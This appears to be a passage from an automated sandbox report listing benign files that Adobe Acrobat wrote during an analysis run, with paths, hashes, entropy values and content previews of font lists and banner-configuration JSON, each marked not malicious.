Preview:	p...... ........m!..{c..(....................................................... ..........W....*...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.139179158420051
Encrypted:	false
SSDEEP:	6:kKFbnL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:xiDnLNkPlE99SNxAhUe/3
MD5:	753885E2D2A2129521A1EA078328D205
SHA1:	A14FF88B480AE636AC41F79E6535AB78E42816DA
SHA-256:	732B3FF07E0EA70B32123D36B452BA444402C1B110AE5FC97A72BDD729D9D1B3
SHA-512:	D1005D93A5AF9A772158160B78053929E757889A68AC9FD5E5A7F4A2F445118539A9270163A6E0D0AA53F4382616467A690F12FA43A8A528259B74E388073DED
Malicious:	false
Preview:	p...... ...........${c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5968

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5968

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.346263683260401
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHHywKAPR+FIbRI6XVW7+0YJ6EeoAvJM3g98kUwPeUkwRe9:YvXKXn/KAcYpW7dsGMbLUkee9
MD5:	5237F88E9F280769C23ADA8A77B1E74A
SHA1:	CC9BC6C5B9433D6C844399ACBA88167F1B57016C
SHA-256:	C8ED967E5446520B90833B33CF32FA707AEDD0273FCABFCFF180E0BAB0BD4047
SHA-512:	AE482D0E001FD8F14A0E0474EA03CD7E3F9B4B32C76415823F3282B742392B15B4F7E10CC074627E4435AAC84A9CB3CCD9B3B9BCE169788635E372E8AE1585FB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08cac05d-77d8-4674-a0ba-d8efb915eb33","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736705076908,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.284602287308367
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHHywKAPR+FIbRI6XVW7+0YJ6EeoAvJfBoTfXpnrPeUkwRe9:YvXKXn/KAcYpW7dsGWTfXcUkee9
MD5:	686FD390B27BFADC5A3E23CF65D694EB
SHA1:	DA396B4943BE7EFBA6CB9ADFD57BB8BBC979ADC6
SHA-256:	D2D85FC0DB3035C3C4C43829D5BE2182E1938521F05B87FCA09D569C71055784
SHA-512:	CBF67C5ECD1477314B08940243850174D08435D1930EC64627EFC3B0839B0C3097CA4C7018DDAA274EE8CC14EED71BF5185F01DEE72A5304D957F8DCD717290E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08cac05d-77d8-4674-a0ba-d8efb915eb33","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736705076908,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.263150603834371
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHHywKAPR+FIbRI6XVW7+0YJ6EeoAvJfBD2G6UpnrPeUkwRe9:YvXKXn/KAcYpW7dsGR22cUkee9
MD5:	0D7B657C81C78100F99875E3D71B8844
SHA1:	278C2948B26AA84E3117725C491065AE797E3C85
SHA-256:	FA9BA88863F7695DD99DC34ED25973D16D3D2BF09DF7B6CBB7F20AC966136164
SHA-512:	D08E119E6D2EA4C4F2036897D479246CA02B3A839F1A5ECB2816FE0DE7494AB50D26F664FC55C5AF31F8E54112CC11FBC37ABB5A2A7F38B38AB9000795680BB8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08cac05d-77d8-4674-a0ba-d8efb915eb33","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736705076908,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.324556571333396
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHHywKAPR+FIbRI6XVW7+0YJ6EeoAvJfPmwrPeUkwRe9:YvXKXn/KAcYpW7dsGH56Ukee9
MD5:	1066AEF3F4D3892535648D2DFA67DD85
SHA1:	C97F4498C5B21E6919D0FFE37C41B6118D7388FE
SHA-256:	589AC5CD3E436800CFC136EB9E574DF504E682BA371A980443BAE85E49784046
SHA-512:	E285B3764F55B34158FC31B1A145459317A43FEE0D8C85E6EC340AD2BA5B31426C7B80E4E99E431C20FEE238B4CA264C5D694AB8FE03631110EC79A44877B5DD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08cac05d-77d8-4674-a0ba-d8efb915eb33","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736705076908,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687508126019209
Encrypted:	false
SSDEEP:	24:Yv6XD9iHpLgE9cQx8LennAvzBvkn0RCmK8czOCCS6S:YvbHhgy6SAFv5Ah8cv/h
MD5:	7A6356E86EC55C6732D1E4AA5AF04D6D
SHA1:	3416D5B014DB6FC84ADAF221F74AB05C44EE7701
SHA-256:	779129A081CD93956223C0A0588BFF99AAD58E2964157459D8D316EBEE4CB41F
SHA-512:	B27F8A28D7FD588E1352AD66AF28B261D6A91A2F98C5C8D5D0A49EAE2F996017F20B15418F566416D54B2C488A560645F238CE6FF6D89BC9BBD0324BB92B46E8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08cac05d-77d8-4674-a0ba-d8efb915eb33","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736705076908,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.267177321483245
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHHywKAPR+FIbRI6XVW7+0YJ6EeoAvJf8dPeUkwRe9:YvXKXn/KAcYpW7dsGU8Ukee9
MD5:	E4ED518CB1EBAEDFD70F8965C05E95D5
SHA1:	8E5C1FEB892E2359789E3E091E7D829982491C75
SHA-256:	1D534E0978C4293A4DA94B8AC8156FFCFD8573CA8126D8F397CAD6A1F70F2201
SHA-512:	C713057D9B0293C8C6CEFFE647CD36A70638618EC9BAB1EF9ED29DABCBABD2DBBCB42F7AE6A8D33F72593769CE0CB3464AD1E2026EF10A040A35D1CCD14FD4A6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08cac05d-77d8-4674-a0ba-d8efb915eb33","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736705076908,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.268778739596371
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHHywKAPR+FIbRI6XVW7+0YJ6EeoAvJfQ1rPeUkwRe9:YvXKXn/KAcYpW7dsGY16Ukee9
MD5:	30D1016794DE661CA21F309164400639
SHA1:	78033359AE8F0D93B062944B1384C009D0AC9B64
SHA-256:	E5B080E3B7F653B92425B4FA3D88944DC264BBD63F61C4F801831589807C91E5
SHA-512:	1A45B8A027723B63BFCE770437382E364C9FD2681E31DDD5690CAD7A30C95B6B806B38AADC3D7950803E8DE5DA53CAEDC81EBAE14852E802E976F9EBEFD6FF66
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08cac05d-77d8-4674-a0ba-d8efb915eb33","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736705076908,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.286858481293311
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHHywKAPR+FIbRI6XVW7+0YJ6EeoAvJfFldPeUkwRe9:YvXKXn/KAcYpW7dsGz8Ukee9
MD5:	8C01281CD3BC0294B5B8BFABB6D0D7FE
SHA1:	14C57B4A2ACB93DE7A835BB02BBE75EDEAEE115F
SHA-256:	B246EB1C380A6B9F5934A609D54FE1E0D735133BCD2E2993B03C3D576874A317
SHA-512:	08074BA04F46C216413878E67230055829F7CA548207074FBE7B945536985F5171CE2ADA0660B6001FF34BE180A754C4B369CFB848BE97EE2A301147C82602E5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08cac05d-77d8-4674-a0ba-d8efb915eb33","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736705076908,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.294739501867462
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHHywKAPR+FIbRI6XVW7+0YJ6EeoAvJfzdPeUkwRe9:YvXKXn/KAcYpW7dsGb8Ukee9
MD5:	903AF897EEE549EF1C75898032D00D13
SHA1:	AAE82689F2F3FA5B0118D452772BBFDD246A455F
SHA-256:	32F930C66AF826002ED91946D367E624A593A1101C050D8D0292584BF4961286
SHA-512:	0C402831F4EEA813F154A6416600DE88AA37BA75610665C8DFF156FC6F399771606C24780EA5FA9D4AE09B554D6C5EE57BCFAA408422ACCE388C60132C1365CB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08cac05d-77d8-4674-a0ba-d8efb915eb33","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736705076908,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.275149494781128
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHHywKAPR+FIbRI6XVW7+0YJ6EeoAvJfYdPeUkwRe9:YvXKXn/KAcYpW7dsGg8Ukee9
MD5:	ABA1F64B7582CD62E799AD63148CE543
SHA1:	685E64EB3D167069E64A8C506F0C3E6E9791F753
SHA-256:	0B7669FA4F9BDF7FD6EC6566119D6E735A85427394A645AADCDDA57FDA98CCD3
SHA-512:	F7B42925DDAC22F0EF76390E985B15EF42F76DB6C38EB72A5DB766F853F4618F977444707E6D3D953AFA932DA95E44A7863CCC38E46ABB071BB0E56D8624B19B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08cac05d-77d8-4674-a0ba-d8efb915eb33","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736705076908,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.261061349636944
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHHywKAPR+FIbRI6XVW7+0YJ6EeoAvJf+dPeUkwRe9:YvXKXn/KAcYpW7dsG28Ukee9
MD5:	157C12F67A47F8419A7BB1798D5B9DCD
SHA1:	EAD66FE33277CEB50C8D9240D92B7B8A25997AE4
SHA-256:	8F64CDA73D0E643344AD8FE23EF3E8800D301EE5F0A3D96326D05CA9DD652BF9
SHA-512:	AE7EBECAFCD04FAB45F98F7374B21E29EDC828D974CD42AEEDC6F88338B173951BA76DA76F0E6A3A53ED67D62C44CED7EF928F101795B579D953D8B73E824F7F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08cac05d-77d8-4674-a0ba-d8efb915eb33","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736705076908,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.258867386305294
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHHywKAPR+FIbRI6XVW7+0YJ6EeoAvJfbPtdPeUkwRe9:YvXKXn/KAcYpW7dsGDV8Ukee9
MD5:	0BE5FAC1B46C57648AF45FEFB5BED108
SHA1:	74A873A6AC396628F375BCE1B9A78FDB075342E2
SHA-256:	655A4912C8100D4C7CA66DC933EC38C7E69163B0EB0DA1AE94633FA25870127C
SHA-512:	9ECB7E01E6C9450D04784D97AF23DF14449FEBE1FC3543B1FB0729394A28CE6698F4060EFB8519E711027D1D0E7CD3CC603027D3730BE0F92C28E618899A1842
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08cac05d-77d8-4674-a0ba-d8efb915eb33","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736705076908,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.260492503072886
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHHywKAPR+FIbRI6XVW7+0YJ6EeoAvJf21rPeUkwRe9:YvXKXn/KAcYpW7dsG+16Ukee9
MD5:	63CD299DC8156E3F4E092B055227B206
SHA1:	0491DA6C9B4C5A05B021958E6EDF43E9608C2C74
SHA-256:	8C51FBEEAB4E3BC122CC53121A85C3C74B2BDD9A5B936CC0FD66E36DCC039B13
SHA-512:	8361914AA54C74476F41602A4FFA3EF3D6223B21C376B054FC93C313ECCF251B5AC9964B958D32BDB13EE1DEFD5EF5B4543F00EF55EF6D76F850000A96FDF7AB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08cac05d-77d8-4674-a0ba-d8efb915eb33","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736705076908,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

